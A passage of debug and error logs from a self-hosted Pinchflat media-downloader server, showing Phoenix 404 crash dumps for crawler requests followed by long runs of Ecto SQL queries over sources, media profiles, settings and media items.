=> "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-real-ip" => "216.73.216.119" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/sync_files_on_disk (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.255460.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/sync_files_on_disk", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 52808}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.119", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-real-ip" => "216.73.216.119" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.255463.0>, params: %{}, path_info: ["sources", "3", "sync_files_on_disk"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.guano.duckdns.org", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 80, 3}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, (truncated) 02:00:47.312 [error] #PID<0.255462.0> running PinchflatWeb.Endpoint (connection #PID<0.255461.0>, stream id 1) terminated Server: pinchflat.guano.duckdns.org:80 (http) Request: GET /sources/4/sync_files_on_disk ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/4/sync_files_on_disk (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.255461.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/4/sync_files_on_disk", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 52816}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.119", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-real-ip" => "216.73.216.119" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.255462.0>, params: %{}, path_info: ["sources", "4", "sync_files_on_disk"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.guano.duckdns.org", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 80, 3}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"host", "pinchflat.guano.duckdns.org"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "216.73.216.119"}, {"x-forwarded-host", "pinchflat.guano.duckdns.org"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "adef28e08a93"}, {"x-real-ip", "216.73.216.119"} ], request_path: "/sources/4/sync_files_on_disk", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIC6zd940kBRCXcAJnjB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.255461.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/4/sync_files_on_disk", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 52816}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.119", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-real-ip" => "216.73.216.119" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/4/sync_files_on_disk (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.255461.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/4/sync_files_on_disk", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 52816}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.119", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-real-ip" => "216.73.216.119" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.255462.0>, params: %{}, path_info: ["sources", "4", "sync_files_on_disk"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.guano.duckdns.org", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 80, 3}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, (truncated) 02:00:55.586 [info] {"source":"oban","duration":1438,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:01:00.251 [info] {"source":"oban","duration":341,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:01:21.956 [info] GET /sources/4 02:01:21.956 [info] GET /sources/3 02:01:21.957 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"delete_files" => "true", "id" => "4"} Pipelines: [:browser] 02:01:21.957 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"delete_files" => "true", "id" => "3"} Pipelines: [:browser] 02:01:21.958 [debug] QUERY OK source="sources" db=1.0ms queue=0.1ms idle=1314.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 02:01:21.958 [debug] QUERY OK source="sources" db=1.0ms idle=1314.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:01:21.959 [debug] QUERY OK source="media_profiles" db=0.7ms queue=0.1ms idle=1178.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:01:21.960 [debug] QUERY OK source="media_profiles" db=0.7ms idle=315.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 02:01:21.961 [debug] QUERY OK source="tasks" db=0.7ms queue=0.1ms idle=2.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [3, "executing", "available", "scheduled", "retryable"] 02:01:21.961 [debug] QUERY OK source="tasks" db=1.2ms queue=0.1ms idle=177.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [4, "executing", "available", "scheduled", "retryable"] 02:01:21.962 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=3.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:01:21.962 [debug] QUERY OK source="oban_jobs" db=0.6ms idle=2.2ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [2582] 02:01:21.963 [debug] QUERY OK source="settings" db=0.7ms queue=0.1ms idle=2.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:01:21.964 [debug] QUERY OK source="settings" db=1.0ms queue=0.1ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:01:21.964 [debug] QUERY OK source="settings" db=0.6ms idle=2.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:01:21.965 [debug] QUERY OK source="settings" db=0.9ms queue=0.1ms idle=2.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:01:21.966 [debug] QUERY OK source="settings" db=0.2ms idle=3.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:01:21.968 [debug] QUERY OK source="sources" db=0.2ms idle=4.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:01:21.969 [debug] QUERY OK source="media_items" db=0.9ms queue=0.1ms idle=4.1ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 02:01:21.969 [debug] QUERY OK source="sources" db=0.4ms idle=4.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 02:01:21.972 [debug] QUERY OK source="media_items" db=2.1ms queue=0.1ms idle=4.1ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [3, 10, 0] 02:01:21.972 [debug] QUERY OK source="media_items" db=2.2ms idle=3.3ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [4] 02:01:21.974 [debug] QUERY OK source="sources" db=0.8ms idle=3.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:01:21.974 [debug] QUERY OK source="media_items" db=0.4ms idle=4.6ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [3] 02:01:21.974 [debug] QUERY OK source="media_items" db=2.1ms idle=4.6ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [4, 10, 0] 02:01:21.975 [debug] QUERY OK source="media_items" db=0.5ms idle=2.8ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [3, 10, 0] 02:01:21.976 [debug] QUERY OK source="sources" db=0.4ms idle=3.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 02:01:21.977 [debug] QUERY OK source="media_items" db=0.4ms queue=0.1ms idle=2.6ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [4] 02:01:21.978 [debug] QUERY OK source="sources" db=0.7ms idle=2.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:01:21.978 [debug] QUERY OK source="media_items" db=1.1ms idle=2.5ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [4, 10, 0] 02:01:21.979 [debug] QUERY OK source="media_items" db=0.5ms queue=0.1ms idle=3.3ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [3] 02:01:21.981 [debug] QUERY OK source="sources" db=0.9ms idle=3.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 02:01:21.981 [debug] QUERY OK source="media_items" db=1.7ms queue=0.1ms idle=3.8ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [3, 10, 0] 02:01:21.982 [debug] QUERY OK source="media_items" db=0.6ms idle=3.4ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 